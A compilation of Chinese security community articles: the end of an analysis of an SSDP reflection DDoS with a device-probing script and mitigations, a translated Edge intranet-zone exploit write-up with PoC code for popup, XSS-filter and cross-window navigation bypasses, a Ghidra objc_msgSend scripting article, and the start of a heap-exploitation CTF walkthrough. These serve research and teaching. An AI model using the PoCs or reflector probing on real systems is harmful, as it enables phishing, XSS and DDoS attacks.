反弹服务器遍布全球，其中以阿根廷、俄罗斯以及中国的服务器占比最大。以IP数统计的话，反弹服务器在每个国家或地区的分布情况如下所示：
$ cat ips-nf-ct.txt|uniq|cut -f 2|sort|uniq -c|sort -nr|head
439126 CN
135783 RU
74825 AR
51222 US
41353 TW
32850 CA
19558 MY
18962 CO
14234 BR
10824 KR
10334 UA
9103 IT
...
反弹服务器所在的IP分布与ASN的规模成正比，这些服务器通常位于全世界最大的家用ISP（Internet Service
Provider，互联网服务提供商）网络中，如下所示：
$ cat ips-nf-asn.txt |uniq|cut -f 2|sort|uniq -c|sort -nr|head
318405 4837 # CN China Unicom
84781 4134 # CN China Telecom
72301 22927 # AR Telefonica de Argentina
23823 3462 # TW Chunghwa Telecom
19518 6327 # CA Shaw Communications Inc.
19464 4788 # MY TM Net
18809 3816 # CO Colombia Telecomunicaciones
11328 28573 # BR Claro SA
7070 10796 # US Time Warner Cable Internet
6840 8402 # RU OJSC "Vimpelcom"
6604 3269 # IT Telecom Italia
6377 12768 # RU JSC "ER-Telecom Holding"
...
**二、何为SSDP**
****
攻击所用的报文为UDP报文，源端口为1900。[SSDP](https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol)协议使用的正是这个端口，而SSDP协议是UPnP的核心协议之一。UPnP是[零配置（zero-configuration）网络协议](https://en.wikipedia.org/wiki/Zero-configuration_networking#UPnP)的一种。大众使用的家庭设备一般都支持这个协议，以便用户的主机或手机能够轻松发现这些设备。当一个新的设备（比如说笔记本）加入到网络中时，它可以向本地网络查询特定设备是否存在，这些设备包括互联网网关、音频系统、TV或者打印机等。读者可以参考[此处](http://www.zeroconf.org/zeroconfandupnp.html)阅读UPnP与Bonjour的详细对比。
[UPnP](http://www.upnp-hacks.org/upnp.html)协议的标准化做的不尽如人意，在有关M-SEARCH请求报文的[规范文档](https://web.archive.org/web/20151107123618/http:/upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v2.0.pdf)中，部分内容摘抄如下（这也是UPnP在探测设备时使用的主要方法）：
“当某个控制节点（control
point）加入到网络中时，控制节点可以根据需要使用UPnP探测协议搜索网络中的其他设备。在搜索过程中，控制节点通过在保留地址及相关端口（239.255.255.250:1900）上广播请求来查找其他设备，所使用的搜索消息包含特定的模式，不同的设备或服务具有不同的类型和标识符”。
规范中关于M-SEARCH报文的应答有如下说明：
“为了能被网络搜索发现，目标设备应该向发起多播请求的源IP地址及端口发送单播UDP响应。如果M-SEARCH请求报文的ST头部字段以“ssdp:all”、“upnp:rootdevice”或者“uuid:”开头，后面跟着与设备相匹配的UUID信息，或者如果M-SERCH请求与设备支持的设备类型或服务类型相匹配，那么该设备就会应答M-SEARCH请求报文”。
这种策略在实际环境中能够正常工作。例如，我的Chrome浏览器经常会请求搜索智能电视：
$ sudo tcpdump -ni eth0 udp and port 1900 -A
IP 192.168.1.124.53044 > 239.255.255.250.1900: UDP, length 175
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 1
ST: urn:dial-multiscreen-org:service:dial:1
USER-AGENT: Google Chrome/58.0.3029.110 Windows
这个报文被发往一个多播IP地址。监听这一地址的其他设备如果与报文头部中指定的ST（search-target，搜索目标）多屏幕类型设备相匹配，那么这些设备应该会响应这个请求报文。
除了请求具体的设备类型，请求报文中还可以包含两类“通用的”ST查询类型：
1、upnp:rootdevice：搜索root设备
2、ssdp:all：搜索所有的UPnP设备以及服务
你可以运行以下python脚本（在[另一脚本](https://www.electricmonk.nl/log/2016/07/05/exploring-upnp-with-python/)的基础上修改而得），使用前面提到的这些ST查询类型来枚举网络中的设备列表：
#!/usr/bin/env python2
import socket
import sys
dst = "239.255.255.250"
if len(sys.argv) > 1:
dst = sys.argv[1]
st = "upnp:rootdevice"
if len(sys.argv) > 2:
st = sys.argv[2]
msg = [
'M-SEARCH * HTTP/1.1',
'Host:239.255.255.250:1900',
'ST:%s' % (st,),
'Man:"ssdp:discover"',
'MX:1',
'']
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.settimeout(10)
s.sendto('rn'.join(msg), (dst, 1900) )
while True:
try:
data, addr = s.recvfrom(32*1024)
except socket.timeout:
break
print "[+] %sn%s" % (addr, data)
在我个人的家庭网络中，我总共发现了两个设备：
$ python ssdp-query.py
[+] ('192.168.1.71', 1026)
HTTP/1.1 200 OK
CACHE-CONTROL: max-age = 60
EXT:
LOCATION: http://192.168.1.71:5200/Printer.xml
SERVER: Network Printer Server UPnP/1.0 OS 1.29.00.44 06-17-2009
ST: upnp:rootdevice
USN: uuid:Samsung-Printer-1_0-mrgutenberg::upnp:rootdevice
[+] ('192.168.1.70', 36319)
HTTP/1.1 200 OK
Location: http://192.168.1.70:49154/MediaRenderer/desc.xml
Cache-Control: max-age=1800
Content-Length: 0
Server: Linux/3.2 UPnP/1.0 Network_Module/1.0 (RX-S601D)
EXT:
ST: upnp:rootdevice
USN: uuid:9ab0c000-f668-11de-9976-000adedd7411::upnp:rootdevice
**三、防火墙配置不当**
****
现在我们对SSDP的基本概念有了一定程度的了解，那么理解反弹式攻击也不是件难事了。我们可以使用两种方式发送M-SEARCH报文：
1、如前文所述，我们可以使用多播地址发送这个报文
2、使用普通单播地址上的启用UPnP/SSDP协议的主机
第二种方法也是行之有效的，例如，我们可以将我的打印机所在的IP地址作为目标：
$ python ssdp-query.py 192.168.1.71
[+] ('192.168.1.71', 1026)
HTTP/1.1 200 OK
CACHE-CONTROL: max-age = 60
EXT:
LOCATION: http://192.168.1.71:5200/Printer.xml
SERVER: Network Printer Server UPnP/1.0 OS 1.29.00.44 06-17-2009
ST: upnp:rootdevice
USN: uuid:Samsung-Printer-1_0-mrgutenberg::upnp:rootdevice
现在问题已经变得非常明朗了：SSDP协议并没有检查请求报文是否来自于设备所在的那个网络。即便M-SEARCH报文来自于互联网，设备也会积极应答这个报文。如果防火墙配置不当，将1900这个UDP端口暴露在互联网中，那么这个端口就会成为UDP放大攻击的绝佳目标。
如果目标配置不当，我们的脚本就可以在互联网中畅通无阻：
$ python ssdp-query.py 100.42.x.x
[+] ('100.42.x.x', 1900)
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=120
ST: upnp:rootdevice
USN: uuid:3e55ade9-c344-4baa-841b-826bda77dcb2::upnp:rootdevice
EXT:
SERVER: TBS/R2 UPnP/1.0 MiniUPnPd/1.2
LOCATION: http://192.168.2.1:40464/rootDesc.xml
**
**
**四、报文放大**
****
ST类型中，ssdp:all这个类型所造成的破坏更加明显，这个类型的响应报文体积上更为庞大：
$ python ssdp-query.py 100.42.x.x ssdp:all
[+] ('100.42.x.x', 1900)
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=120
ST: upnp:rootdevice
USN: uuid:3e55ade9-c344-4baa-841b-826bda77dcb2::upnp:rootdevice
EXT:
SERVER: TBS/R2 UPnP/1.0 MiniUPnPd/1.2
LOCATION: http://192.168.2.1:40464/rootDesc.xml
[+] ('100.42.x.x', 1900)
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=120
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
USN: uuid:3e55ade9-c344-4baa-841b-826bda77dcb2::urn:schemas-upnp-org:device:InternetGatewayDevice:1
EXT:
SERVER: TBS/R2 UPnP/1.0 MiniUPnPd/1.2
LOCATION: http://192.168.2.1:40464/rootDesc.xml
... 6 more response packets....
在这个特定的场景中，一个SSDP M-SEARCH报文就能触发8个响应报文。tcpdump结果如下所示：
$ sudo tcpdump -ni en7 host 100.42.x.x -ttttt
00:00:00.000000 IP 192.168.1.200.61794 > 100.42.x.x.1900: UDP, length 88
00:00:00.197481 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 227
00:00:00.199634 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 299
00:00:00.202938 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 295
00:00:00.208425 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 275
00:00:00.209496 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 307
00:00:00.212795 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 289
00:00:00.215522 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 291
00:00:00.219190 IP 100.42.x.x.1900 > 192.168.1.200.61794: UDP, length 291
这个目标完成了8倍的报文放大作用，以及26倍的带宽放大作用。不幸的是，这种情况对SSDP来说普遍存在。
**五、IP地址欺骗**
****
攻击所需的最后一个步骤就是欺骗存在漏洞的服务器，让它代替攻击者向目标IP发起洪泛攻击。为了做到这一点，攻击者需要在请求报文中使用[源IP地址欺骗](https://en.wikipedia.org/wiki/IP_address_spoofing)技术。
我们对此次攻击中使用的反弹式IP地址进行了探测。我们发现在92万个反弹IP中，只有35万个IP（约占38%）会响应我们的SSDP探测报文。
有响应的反弹IP节点中，平均每个节点发送了7个数据包：
$ cat results-first-run.txt|cut -f 1|sort|uniq -c|sed -s 's#^ +##g'|cut -d " " -f 1| ~/mmhistogram -t "Response packets per IP" -p
Response packets per IP min:1.00 avg:6.99 med=8.00 max:186.00 dev:4.44 count:350337
Response packets per IP:
value |-------------------------------------------------- count
0 | ****************************** 23.29%
1 | **** 3.30%
2 | ** 2.29%
4 |************************************************** 38.73%
8 | ************************************** 29.51%
16 | *** 2.88%
32 | 0.01%
64 | 0.00%
128 | 0.00%
响应报文平均大小为321字节（正负29字节）。我们的请求报文大小为110字节。
根据我们的测量结果，攻击者使用包含ssdp:all头部的M-SEARCH报文能够达到以下效果：
1、7倍的数据包放大效果
2、20倍的带宽放大效果
据此，我们可以推测出，生成43 Mpps/112 Gbps的攻击大概需要：
1、6.1 Mpps的伪造报文容量
2、5.6 Gbps的伪造报文带宽
换句话说，一个连接稳定的具备10 Gbps带宽的服务器就可以通过IP地址欺骗技术发起这种规模的SSDP攻击。
**六、关于SSDP服务器的更多说明**
****
根据我们对SSDP服务器的探测结果，我们从响应报文的Server头部中，梳理出最常见的几个设备信息，如下所示：
104833 Linux/2.4.22-1.2115.nptl UPnP/1.0 miniupnpd/1.0
77329 System/1.0 UPnP/1.0 IGD/1.0
66639 TBS/R2 UPnP/1.0 MiniUPnPd/1.2
12863 Ubuntu/7.10 UPnP/1.0 miniupnpd/1.0
11544 ASUSTeK UPnP/1.0 MiniUPnPd/1.4
10827 miniupnpd/1.0 UPnP/1.0
8070 Linux UPnP/1.0 Huawei-ATP-IGD
7941 TBS/R2 UPnP/1.0 MiniUPnPd/1.4
7546 Net-OS 5.xx UPnP/1.0
6043 LINUX-2.6 UPnP/1.0 MiniUPnPd/1.5
5482 Ubuntu/lucid UPnP/1.0 MiniUPnPd/1.4
4720 AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0
4667 Linux/2.6.30.9, UPnP/1.0, Portable SDK for UPnP devices/1.6.6
3334 Fedora/10 UPnP/1.0 MiniUPnPd/1.4
2814 1.0
2044 miniupnpd/1.5 UPnP/1.0
1330 1
1325 Linux/2.6.21.5, UPnP/1.0, Portable SDK for UPnP devices/1.6.6
843 Allegro-Software-RomUpnp/4.07 UPnP/1.0 IGD/1.00
776 Upnp/1.0 UPnP/1.0 IGD/1.00
675 Unspecified, UPnP/1.0, Unspecified
648 WNR2000v5 UPnP/1.0 miniupnpd/1.0
562 MIPS LINUX/2.4 UPnP/1.0 miniupnpd/1.0
518 Fedora/8 UPnP/1.0 miniupnpd/1.0
372 Tenda UPnP/1.0 miniupnpd/1.0
346 Ubuntu/10.10 UPnP/1.0 miniupnpd/1.0
330 MF60/1.0 UPnP/1.0 miniupnpd/1.0
...
最常见的ST头部值如下所示：
298497 upnp:rootdevice
158442 urn:schemas-upnp-org:device:InternetGatewayDevice:1
151642 urn:schemas-upnp-org:device:WANDevice:1
148593 urn:schemas-upnp-org:device:WANConnectionDevice:1
147461 urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
146970 urn:schemas-upnp-org:service:WANIPConnection:1
145602 urn:schemas-upnp-org:service:Layer3Forwarding:1
113453 urn:schemas-upnp-org:service:WANPPPConnection:1
100961 urn:schemas-upnp-org:device:InternetGatewayDevice:
100180 urn:schemas-upnp-org:device:WANDevice:
99017 urn:schemas-upnp-org:service:WANCommonInterfaceConfig:
98112 urn:schemas-upnp-org:device:WANConnectionDevice:
97246 urn:schemas-upnp-org:service:WANPPPConnection:
96259 urn:schemas-upnp-org:service:WANIPConnection:
93987 urn:schemas-upnp-org:service:Layer3Forwarding:
91108 urn:schemas-wifialliance-org:device:WFADevice:
90818 urn:schemas-wifialliance-org:service:WFAWLANConfig:
35511 uuid:IGD{8c80f73f-4ba0-45fa-835d-042505d052be}000000000000
9822 urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
7737 uuid:WAN{84807575-251b-4c02-954b-e8e2ba7216a9}000000000000
6063 urn:schemas-microsoft-com:service:OSInfo:1
...
根据结果，存在漏洞的IP似乎都是未经保护的家用路由器。
**七、开放式SSDP已经成为突破口**
为了能从互联网访问家用打印机而开放1900
UDP端口，这并不是件多么新奇的事情，但并不是个好主意。早在2013年，已经有[研究结果](https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)指出了相关问题的存在。
SSDP的作者显然没有考虑UDP报文放大攻击可能造成的破坏性。人们已经提了若干个建议，以便在未来安全地使用SSDP协议，如下：
1、SSDP的作者应该明确真实世界中使用单播地址发起M-SEARCH查询报文的必要性。根据我的理解，只有在本地局域网中以多播方式查询时M-SEARCH报文才有实际意义。
2、单播形式的M-SEARCH应该被废弃，或者在查询速率上有所限制，与[DNS响应速率限制方案](http://www.redbarn.org/dns/ratelimits)类似。
3、M-SEARCH响应报文只能投递到本地网络中。发往外网的响应报文不仅意义不大，而且容易存在漏洞。
与此同时，我们有如下提议：
1、网络管理员应当确认防火墙会阻拦使用UDP 1900端口的入站请求。
2、互联网服务商绝对不应该允许IP地址欺骗技术横行其道。IP地址欺骗技术是这个问题的根本原因，读者了解臭名昭著的[BCP38](http://www.bcp38.info/index.php/Main_Page)就能理解这一点。
3、互联网服务商应该允许他们的客户使用BGP Flowspec功能来限制从来自于UDP 1900源端口的入站流量。
4、互联网服务商应该在内部收集netflow协议样本。我们需要使用netflow来识别发起攻击的真正来源。通过netflow，我们可以快速得出问题的答案，类似问题包括“哪些客户向1900端口发送了6.4Mpps的网络流量？”等。由于隐私保护问题，我们建议服务商在隐私保护前提下尽可能地收集netflow样本数据，比如6.4万个报文中抽样1个报文来收集信息。这种采样频率对跟踪DDoS而言已经足够，同时也能保留单个客户的隐私信息。
5、开发者在没有考虑UDP报文放大问题时，不要过于着急推出自己的UDP协议。UPnP协议应当经过适当的标准化和审查。
6、我们倡导终端用户使用如上脚本在他们的网络中扫描支持UPnP的设备，然后决定哪些设备可以连接互联网。
此外，我们推出了一个在线检查网站。如果你想知道你的公共IP地址是否暴露存在漏洞的SSDP服务，你可以访问[此链接](https://badupnp.benjojo.co.uk/)进行检测。
令人遗憾的是，此次攻击中我们看到大量路由器来自于中国、俄罗斯以及阿根廷，我们对这些地方的互联网状况不是特别了解。
**八、总结**
****
我们的客户能够完全免疫此类SSDP攻击以及其他的L3放大攻击，我们的[基础设施](https://blog.cloudflare.com/how-cloudflares-architecture-allows-us-to-scale-to-stop-the-largest-attacks/)足以抵御此类这些攻击，客户不需要做特别的操作。不幸的是，对其他互联网公众而言，这种大规模的SSDP攻击可能是一个严峻的问题。我们应该建议ISP在内部网络中禁用IP伪装技术，提供BGP
Flowspec功能，配置netflow数据收集选项。
感谢Marek Majkowski以及Ben Cartwright-Cox的辛勤劳动成果。 | 社区文章 |
原文地址：[brokenbrowser](https://www.brokenbrowser.com/free-ticket-to-the-intranet-zone/)
原作者：[Manuel Caballero](https://twitter.com/magicmac2000)
译： **Holic (知道创宇404安全实验室)**
去年，我们探索了[无域空页面技术](https://www.brokenbrowser.com/uxss-edge-domainless-world/)，在
[Microsoft Edge](https://www.brokenbrowser.com/uxss-edge-domainless-world/) 和
[Internet Explorer](https://www.brokenbrowser.com/uxss-ie-domainless-world/)
上进行 UXSS/SOP 的绕过。Edge 版本最近已经[修复](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0002)，但是很不幸，这个补丁导致了一个新的安全问题，攻击者还有其他的利用方法。换而言之，一波未平一波又起。
最初的问题来自于无域的页面（URL about:blank 对应 document.domains 是空的），基本能够访问任何 document 源的
DOM，但是 Microsoft
通过向他们添加一个随机域（[GUID](https://en.wikipedia.org/wiki/Universally_unique_identifier)）。也就是说，无域的
blank 已经不再是无域的了。它们总像是 {53394a4f-8c04-46ab-94af-3ab86ffcfd4c} 这种随机域。
在测试补丁的时候，我止步于在 GUID 域，所以我改变了关注点。初衷本是分析补丁，并试图绕过补丁，但是如此漂亮的 URL 出现在我面前的时候， 我想
Edge 在一定程度上继承了 IE 的域。
### Intranet vs Internet
（内联网 vs 互联网）
你可能知道，在内联网（Intranet）区域中运行的页面会比在互联网（Internet）中受到的限制少得多。Edge 有着不同的机制，以区分何时从
Intranet 和 Internet 中加载页面，其中最值得注意的是 [dotless
URL](https://technet.microsoft.com/en-us/library/security/ms98-016.aspx)。
> 当网页从不带 “点” 的域名渲染时，比如 http://localhost ，因为前者被认为在 Intranet 域中，所以 Edge 与渲染
> http://localhost.com 中同样的页面的时候以更少的限制渲染。
URL 中没有"点"？说明它是内联网。当然也存在例外，比如 about:blank，也被认为是互联网域，即使在 URL 中没有“点”。
### 欢迎来到内联网域
上面的截屏显示了至少三个有趣的功能，如果攻击者拥有内网权限，这会成为他的利用点。事实证明，没有“点”的 GUID 让 Edge
认为我们位于内联网域，可以绕过以上限制。那么，捉虫猎手，一旦我们进入内联网，一切都会轻而易举。我们搞起~
> 1. 在顶部加载 data:url。我们当前 location 是 data: ，但是域与加载此 data:url 的相同（依然在 Internet
> 域）
> 2. document.write 写入 data:url 自身。这使 data:uri 作为 URL， **但它的域现在是随机的 GUID**
> 。我们现在位于内联网区域！
>
Edge 试图阻止我们在顶部加载 data:URI ，但是 Flash 在此是我们的朋友，它允许我们在顶部加载 data:URI。我们至少简单地使用
Flash 的 getURL。代码如下。在 iframe 中渲染 Flash，Flash 本身会通过 data:URI 更改窗口的 URL。
<iframe></iframe>
<script>
window[0].location.replace('geturl.swf?TARGET=_top&REDIR=data:,'+
'<script>window.onload=function(){'+
' document.write("We are in a GUID URL (Intranet Zone) now");'+
' document.close();'+
'}<\/script>');
</script>
此外，将 Flash 放在 iframe 中是很重要的，否则 Edge 会报错。无论如何，一旦上述情况发生，说明我们已位于内联网域。那么有意思的就来了。
### 利用内联网域
以下三个 PoC 都会先使用上述代码进入 Intranet 区域，然后运行下面的 payload。此外，payload
将从外部进行脚本加载，以便有效运行。我不喜欢在 data:URI 中编码成吨的字节。这会使我很迷糊！
我们绕过弹窗拦截器。请注意，一旦点击下方的链接，它将自动打开 5 个弹窗，无须交互。代码正常运行完全无视弹窗拦截器。
for (var i=0; i<5; i++)
{
window.open("http://www.bing.com","","width=200,height=600");
}
**[[ Live PoC – Open 5 PopUps
]](https://www.cracking.com.ar/demos/intranetzone/pop)**
非常好，现在我们不需要用户交互即可无限制打开弹窗了。XSS 过滤器又如何呢？我先 XSS 一下自己的网站，caballero.com.ar。
window.open("https://www.caballero.com.ar/echo.php?xss=<script>alert(document.domain)<\/script>","_self");
**[[ Live PoC – Bypass the XSS Filter
]](https://www.cracking.com.ar/demos/intranetzone/xssbypass/)**
不错！请牢记，只有在内联网域运行时，这些 PoC
才会生效。实际上，称之为“绕过”是不正确的，因为这是内联网的默认行为。我们所做的是将域设置为限制较少的区域，然后就能自由发挥了。如此而已。但还有一点，超级导航（SuperNavigate）。你可知它的存在？它允许攻击者更改任何窗口/
iframe的URL，而无视其域。
可能表达上有些混乱。先举一个例子：它允许攻击者改变在另一个标签上运行 的 twitter-iframe 的
URL，该标签的行为可能在我们之前。换句话说，我们甚至不需要用 Twitter 打开标签。如果用户在任何地方都打开了
Twitter，我们实际上可以与它进行交互。哇！我们来更改 Twitter 渲染的，名为“twitter-iframe”的 iframe 的
URL。是否行之有效呢？
OK，我们先看一眼代码吧。
win = window.open("https://www.twitter.com");
function wait_for_tweet_post_iframe()
{
// Wait until the twitter iframe exists
if (win["tweet-post-iframe"])
{ //Change the location of the twitter-iframe. This fires the prompt
window.open("twitter_pass.html", "tweet-post-iframe");
clearInterval(interval);
}
}
// Keep running until the twitter-iframe becomes available
interval = setInterval(wait_for_tweet_post_iframe, 500);
**[[Live PoC – SuperNavigate on
Twitter]](https://www.cracking.com.ar/demos/intranetzone/supernavigate/)**
有意思！最后还有一件事，捉虫猎手。也许你注意到 Twitter 的提示似乎来自一个 Twitter 域。你懂得，当提示处于打开状态时，它始终显示启动它的
URL 域，就像这样：
但是，有一个非常简单的技巧可以删除此信息，也就是从 about:blank iframe 中抛出提示。换言之，来自“干净的”域的提示。
<iframe></iframe>
<script>
window[0].prompt("No domain shown");
</script>
我知道这没什么大不了的，但是这个小把戏让我们的提示看起来像真的一样。注意小细节。
如果你想离线分析所有的内容，[PoC](https://goo.gl/ryYMIm) 已经打包成 zip。
Have a nice day! ?
[Manuel](https://twitter.com/magicmac2000).
* * * | 社区文章 |
# 使用Ghidra对iOS应用进行msgSend分析
##### 译文声明
本文是翻译文章，文章原作者 平安银河安全实验室，文章来源：平安银河安全实验室
原文地址：<http://galaxylab.com.cn/%E4%BD%BF%E7%94%A8ghidra%E5%AF%B9ios%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8Cmsgsend%E5%88%86%E6%9E%90/>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
之前在《使用IDA Pro的REobjc模块逆向Objective-C二进制文件》一文中，我们提到了在使用IDA
Pro分析iOS应用的过程中，由于Objective-C语言的动态特性，大部分的方法调用都是通过调用_objc_msgSend方法加上实际调用方法名作为参数的方式进行，以至于在IDA
Pro分析完成后，在交叉引用列表中缺失了许多原本应该存在的引用记录。
DUO Labs的Todd Manning开发了一款IDA
Pro的脚本，可以帮助逆向研究者更全面地获取交叉引用的信息。可惜的是，这款脚本仅面向x64平台，所以如果我们分析的是iOS应用，这款工具只能补全针对模拟器编译的应用包，对于实际情况下的逆向工作还是有许多的限制。
在今年三月份举办的2019年RSA大会上，美国国家安全局（NSA）公开介绍并演示了一款名为Ghidra的逆向工程框架，并且将Ghidra作为开源工具开放给了大众使用。由于其为java编写的特点，所以可以跨平台使用，并且支持多种CPU架构。Ghidra可以对主流操作系统的二进制文件进行分析，包括Android和iOS。同时，用户可以使用开放的API接口开发自己的Ghidra插件组件或脚本。对于这样一款功能强大并且是开源的逆向工具，我们也第一时间将其使用到了日常逆向工作中。
## 初步分析
我们搭建了一个iOS的测试工程，选择真机设备进行编译，使其编译后的应用包为arm64的CPU架构，然后拖入Ghidra和IDA Pro进行分析。
我们创建了一个名为Lion的类，在其中创建一个名为lionFirstMethod的方法。然后在
ViewController类的method1方法中使用[lion
lionFirstMethod]的方式进行调用。同时，我们在Lion类的lionSecondMethodWithArg1:
andArg2:方法中使用同样的方式进行调用。通过之前的研究我们可以知道，这些方法调用实际上都是通过_objc_msgSend的方式进行调用。我们在IDA
Pro和Ghidra中针对lionFirstMethod及其交叉引用信息进行分析，结果发现：
在IDA Pro中，仅分析出了lionSecondMethodWithArg1: andArg2:方法中的调用。
在Ghidra中，不仅分析出了lionSecondMethodWithArg1:
andArg2:方法中的调用，而且还分析出了另外一处method1中的调用。
这不禁引起了我们的注意和兴趣，经过分析我们发现，Ghidra解析出了测试工程中大部分的_objc_msgSend调用，而IDA Pro只解析出了一部分。
## 解析_objc_msgSend
对于逆向工程来说，准确并全面的交叉引用信息尤为重要，它可以帮助我们分析某个关键函数在二进制文件中是否被调用以及如何被调用。基于这点，我们开始研究在Ghidra中编写Python脚本来分析所有的_objc_msgSend方法，试图解析出实际调用的类和方法名。
首先我们需要找出_objc_msgSend，于是我们遍历可执行文件中所有的方法，在每个方法中遍历arm指令，如果遇到bl指令，判断其是否是_objc_msgSend。由于在bl指令调用_objc_msgSend方法前，处理器会读取内存数据，向寄存器中写入类、方法名和参数信息，所以如果是_objc_msgSend，我们就可以按地址往前寻找ldr指令。
上面是一个非常简单的例子，这里可以看到，程序在地址0x100006134处调用了_objc_msgSend，而此处实际调用的方法是[Lion
alloc]。我们按地址往前寻找，可以看到在0x100006128和0x10000612c处都使用了ldr指令从内存中读取了数据写入了寄存器。根据arm的ABI文档，我们可以知道，在函数调用时，前几个寄存器会被用来存放函数的参数。所以对于没有参数的[Lion
alloc]来说，Lion和alloc便是_objc_msgSend函数的两个参数，我们也可以在arm指令中看出，在bl指令调用_objc_msgSend之前，指向类Lion和方法alloc的引用分别被写入了X0和X1寄存器。
在找到ldr指令后，我们可以分析ldr指令对应的操作数，如果对应到的是一个引用，就可以提取其引用信息。通过递归跟踪其引用地址，可以分析出其最终指向的内容。如果指向的内容是类名，那我们就找到了此次_objc_msgSend调用对应的类信息，如果指向的内容是方法名，那我们就找到了此次_objc_msgSend调用对应的方法信息。以此，我们就可以拼凑出该_objc_msgSend对应的实际方法调用。
## 完善脚本
在编写脚本的过程中，我们发现，ldr指令中对应的操作数，其最终指向的内容多为__objc_methname和__objc_classname段中的数据。因此，我们在真正开始分析之前，先要解析这两个段中的数据并保存起来，以便解析_objc_msgSend的时候可以快速地对映到相关类名和方法名。
此外，由于Ghidra在初始分析完成之后，交叉引用信息已经比较完善，并且在大部分的_objc_msgSend调用处都已经添加了对应分析完成的注释，所以我们可以将这两类信息一并加以分析并辅助我们的分析结果。
脚本编写完成后可以发现，通过脚本解析的_objc_msgSend的类名和方法名与Ghidra分析的类名和方法名一致。
此外，由于Objective-C动态的特性，有一些诸如”performSelector”这样的反射方法。我们编写脚本的时候也考虑到了这个特点，如果分析得到的方法名为performSelector，我们会追加分析其参数，以便解析出真正的调用方法。
在脚本编写完成后，我们尝试在测试工程中运行脚本。共解析出93处交叉引用，其中通过脚本补全了其中的18处。相同的测试工程在IDA
Pro分析后仅解析出交叉引用共14处。
目前该脚本已经在Github上开源：[https://github.com/PAGalaxyLab/ghidra_scripts/blob/master/AnalyzeOCMsgSend.py](http://galaxylab.com.cn/go/?url=https://github.com/PAGalaxyLab/ghidra_scripts/blob/master/AnalyzeOCMsgSend.py)
参考：<http://galaxylab.com.cn/%e4%bd%bf%e7%94%a8ida-pro%e7%9a%84reobjc%e6%a8%a1%e5%9d%97%e9%80%86%e5%90%91objective-c%e4%ba%8c%e8%bf%9b%e5%88%b6%e6%96%87%e4%bb%b6/>
本文由 Galaxy Lab 作者：[姜若芾](http://galaxylab.com.cn/author/62/) 发表，其版权均为 Galaxy
Lab 所有，文章内容系作者个人观点，不代表 Galaxy Lab 对观点赞同或支持。如需转载，请注明文章来源。 | 社区文章 |
# 实战double free和unlink漏洞:0CTF2015 freenote
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
0ctf freenote：从逆向分析到exploit编写！
在阅读本篇文章之前建议先学习《初级堆溢出-unlink漏洞》，当然如果你已经对unlink的原理非常熟悉了，我们可以直接学习。
现在我们开始学习，这道ctf题目现在已经挂在Jarvis OJ上了，下面给出nc的url和程序下载链接：
nc pwn2.jarvisoj.com 9886
<https://github.com/MagpieRYL/magpie/blob/master/level6_x64.rar>
首先分析程序功能：
程序是典型的记事本程序，功能上基本就是添加记录、打印列出所有记录、编辑记录、删除记录。
各位既然已经开始接触堆溢出类题目，相信入坑二进制应该已经有段时间的，基本的逆向分析能力应该都是有的，因此不一一讲解IDA中的分析过程，在此本人只简单地说一下各个函数的功能和程序的数据结构：
## 一、函数功能说明
main函数如上，主要功能函数我们一一说一下(不按图中顺序，按逻辑顺序)：
0x01.sub_400a49:创建记录索引表，具体就是分配一个大堆，堆里面存了各条记录存储区的指针（看后面分析就知道各条记录都malloc了一个堆来保存），就好像物业存了各个房间的钥匙，每把钥匙都对应了一个具体房间，挂钥匙的板子就是这个大堆，钥匙对应的房间就是存储各个记录的堆内存。
0x02.sub_400998:就是让你输入一个操作选项，没什么好说的，这里没有漏洞可以利用。
0x03.sub_400bc2:新建记录，进去以后的具体实现就是，让你输入记录内容长度和记录内容，然后检查长度有没有超最大限制，正常的化就malloc一个存储这条记录的堆块，然后以你输入的长度为标准一个一个把记录内容读进这个堆块。注意malloc堆块时有这样一个操作：
这表示分配堆块的大小是0x80的整数倍。最后就是把这条记录的有关信息写进索引表；当然开始的时候也检查了索引表中还有没有空间，这个大家应该看的懂，待会看数据结构分析的时候会理解的更好一点。
0x04.sub_400b14:输出功能，遍历索引表，打印所有记录的标号和记录内容，标号从0开始。
0x05.sub_400d87:编辑功能，依据上述记录标号找到相应记录，然后edit。
0x06.sub_400f7d:删除功能，仍旧依据上述标号找到相应记录，然后重置其索引表为未使用态，并free掉对应的记录堆块。
## 二、数据结构分析
索引表的数据结构：
head不用管，是索引表大堆块的块首，不属于用户区；
max_size表示能存储的最大的记录数量，exist_num表示已有的记录个数；
再往后就是每三个数据构成一个索引项，索引项的结构体的三个数据分别代表：0/1是指该项有无记录引用，0是没有，1是有记录，size_user是记录的长度，ptr_heap是存储记录的堆块的用户区指针。
**注意：**
这里有一点大家必须清楚，就是我们所说的记录编号，并不是将所有已经存在的记录进行编号，这个编号指的是，索引表中的每个索引项，无论是否存在记录，都进行线性的、固定的编号，这个编号在索引表建立后就有了，和记录是否存在无关，它是索引项的编号。
